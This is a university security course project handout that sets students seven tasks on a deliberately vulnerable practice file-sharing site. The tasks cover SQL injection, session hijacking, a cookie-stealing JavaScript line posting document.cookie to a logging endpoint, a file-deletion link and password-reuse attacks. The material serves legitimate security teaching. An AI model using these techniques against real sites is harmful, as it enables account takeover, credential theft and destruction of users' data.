Weaver
Fall 2020

CS 161
Computer Security

Project 3

Due: Friday, December 4, 2020, 11:59 PM PT

Most recent update: November 19, 2020

In this project, you will exploit a poorly designed website. This project may be done individually or in groups of two.

Story

The story is just for fun and contains no relevant information about the project.

> Your plan to defeat REGULUS's surveillance with cryptography is a huge success. With the help of EvanBot's friends on the inside, you create a huge underground network of rebellious Kaltupia employees. Together, you leak records of Kaltupia's evil schemes to the press, inject malware that causes massive Kaltupia service outages, and disrupt Kaltupia's surveillance operations.
>
> As a result of your efforts, the public is quickly losing faith in Kaltupia. People are no longer rushing to the Kaltupia Stores to buy the weekly new model of the KalPhone. Public interest in learning computer security increases by 300%. Memes of Phisher in a guillotine start to go viral.
>
> Kaltupia, of course, does not take all this lying down. Furious at all the encrypted content in REGULUS, Phisher decides to launch a last-ditch effort to preserve Kaltupia.
>
> UnicornDox is a small startup founded by CS 161 alumni that has developed a state-of-the-art algorithm for breaking even the strongest encryption schemes. Seeing an opportunity, Phisher immediately absorbs the startup, fires all the employees, and merges their code into REGULUS. The result is rebranded as UnicornBox (UNIversal Centralized Online Regulatory Network BOX) and unveiled to the public as Kaltupia's latest and greatest file-sharing service.
>
> Just like that, all seems hopeless again. Without encryption, you cannot contact your allies on UnicornBox anymore. But not all hope is lost–it turns out one of the CS 161 alumni was part of your REGULUS operation, and fearing this exact situation, they left many vulnerabilities in the UnicornBox source code for you to discover.
>
> With the help of the trusty EvanBot and your knowledge of web security, exploit all the vulnerablities to destroy the UnicornBox web server, deal the finishing blow to Kaltupia, and restore freedom, privacy, and justice across the land.

Getting Started

Your task is to find seven vulnerabilities in the UnicornBox servers. When you successfully execute an exploit, the status entry on your scoreboard will change from 0 to a timestamp, to indicate that you have received a flag. Your goal is to collect all seven flags.

If you are working with a partner, you need to acquire each flag on your own server to receive credit for it.

All your exploits will be done through a web browser. We strongly recommend Firefox or Chrome. To get started, open https://proj3.cs161.org and log in with your Berkeley account.

On this splash page, you can view your progress and reset the server (see below). Note that all the vulnerabilities will be at the vulnerable server https://proj3.cs161.org/site—there are no flags on the splash page.

Writeup

Each group must submit writeup–two pages maximum, please. For each of **flags 3–7 only**, include a brief description (2–3 sentences) of how you acquired the flag, and a suggestion (a line of code or 2–3 sentences) for how to protect against your exploit.

Grading & Deliverables

- 70 points for finding exploits (10 points for each flag). You do not need to submit anything, since flags are automatically registered on the server.
- 30 points for the writeup (6 points for each of flags 3–7). Submit a writeup to Gradescope, and remember to add your partner if you worked in a group.

Additional Notes

- The difficulty rating of each flag is based on students' experience from past semesters. You might find some of the hard-rated flags easy, and some of the easy-rated flags hard. Feel free to work on them in any order you choose.
- In case you break the vulnerable server beyond repair, you can reset the database used by the server and clear all stored files. Resetting will not clear your scoreboard progress.
- Please do not DoS our server. None of the exploits require brute-force.

General Tips

Here are some general tips for the whole project.

- We recommend completing Q1 of Homework 6 before starting this project.
- Because the website is black-box (you don't have the source code), you will need to perform SQL injection attacks without seeing the query and the response. We recommend first writing out what you think the backend query is, with blanks where you think user input is substituted. Next, think about where on the website the user input comes from. Finally, write out an injection attack and enter it where you think the user input comes from. This may take some trial and error before you succeed.
- The backend for this project exclusively uses single quotes for SQL queries.

1 Log in as user `dev`

Difficulty: Easy

Developers use an account with the username `dev` to perform quality assurance testing on UnicornBox. Fortunately for us, they're sloppy and haven't cleaned up any leftover comments before releasing UnicornBox. See if you can find a way to get `dev`'s password and log in.

Your task: Log in as user `dev` through the login page. Note that gaining access to `dev`'s accounts through any other means will not satisfy this flag.

2 Change the text of `ip.txt`

Difficulty: Easy

The `cs161` user is using UnicornBox to store a file called `ip.txt`. `cs161` is a special-purpose account on UnicornBox. It uses a separate login mechanism, so you won't be able to log in as `cs161`, but you may still be able to change some of its files.

Your task: Change the contents of `cs161` user's `ip.txt` file to be `161.161.161.161`.

3 Obtain `shomil`'s password hash

Difficulty: Medium

The UnicornBox database uses the following table `users` to store its accounts:

```
CREATE TABLE IF NOT EXISTS users (
    username TEXT,
    md5_hash TEXT,
    -- Additional fields not shown.
);
```

Your task: Steal the password hash for user `shomil`.

Tip: You may execute multiple statements in one line separated by semicolons in SQL, but it will only return the results of the last query if it does not have a semicolon.

```
SELECT '123'; SELECT '456' --returns '456'
SELECT '123'; SELECT '456'; --returns nothing
```

4 Gain access to `nicholas`'s account

Difficulty: Hard

UnicornBox uses token-based authentication. The database stores a table that maps session tokens to users:

```
CREATE TABLE IF NOT EXISTS sessions (
    username TEXT,
    token TEXT,
    -- Additional fields not shown.
);
```

Whenever an HTTP request is received, the server checks for a `session_token` value in the cookie. If the cookie contains a token, the server selects the username corresponding to that token from the `sessions` table.

Your task: Gain access to `nicholas`'s account.

Tip: Cookie values may contain anything other than semicolons, which are used as delimiters in cookie syntax.

5 Leak `cs161`'s session cookie

Difficulty: Medium

Because it is a special-purpose account, you won't find `cs161`'s session token in the database. However, `cs161` still sends a `session_token` cookie to the server with every request, so you might be able to leak `cs161`'s token using a different attack.

Your CS161 alumni ally has inserted some evil malware that lets you log arbitrary values to an internal dashboard. When you send a HTTP GET Request to the `/evil/report` endpoint and include a `message` parameter, the `message` is posted to the `/evil/logs` page. Try it by visiting the following URL in your browser!

`https://proj3.cs161.org/evil/report?message=hello1234`

Your task: Leak `cs161`'s session cookie by pushing it onto the `/evil/logs` page.

Tip: You may want to try this attack on yourself before executing it on another user.

Tip: You may find this block of JavaScript code useful:

```
fetch('/evil/report?message='+document.cookie)
```

Tip: You may assume the cs161 user will be browsing the main pages of the site in the background (e.g. home, list, upload, etc.).

6 Create a link that deletes users' files

Difficulty: Medium

For convenience, UnicornBox allows you to quickly and easily delete all the files you have in your account, with the click of a single button. As an attempt to remain secure, they have made sure that only POST requests will actually delete the files—GET requests will not succeed. In addition, they have implemented a cross-origin resource sharing (CORS) policy that denies POST requests from any external origin. This means that POST requests to delete all files only succeed if they originate from the UnicornBox website.

Your task: Create a link that deletes user's files. Once you have figured it out, execute the attack on yourself to earn the flag!

Note that this link must work for any logged in user, not just yourself. In other words, you must be able to email or text this link to someone else, and when they click the link, their files are immediately deleted.

Tip: To make a POST Request in JavaScript, use this line of code:

```
1 fetch('[URL]',{method:'POST'})
```

Note that there is no semicolon at the end.

7 Gain access to the admin panel

Difficulty: Hard

UnicornBox has a special panel for administrators. Your final task is to log into the admin panel.

Password authentication for the admin panel is handled separately from the database. However, the administrator does use UnicornBox for day-to-day file storage, so they may also have a normal user account.

Your task: Gain access to the admin panel.

Tip: Consider human factors. Many people reuse passwords.

Tip: Neither `nicholas` nor `shomil` are administrators of the site.

Tip: We recommend completing Flag 3 before trying this flag.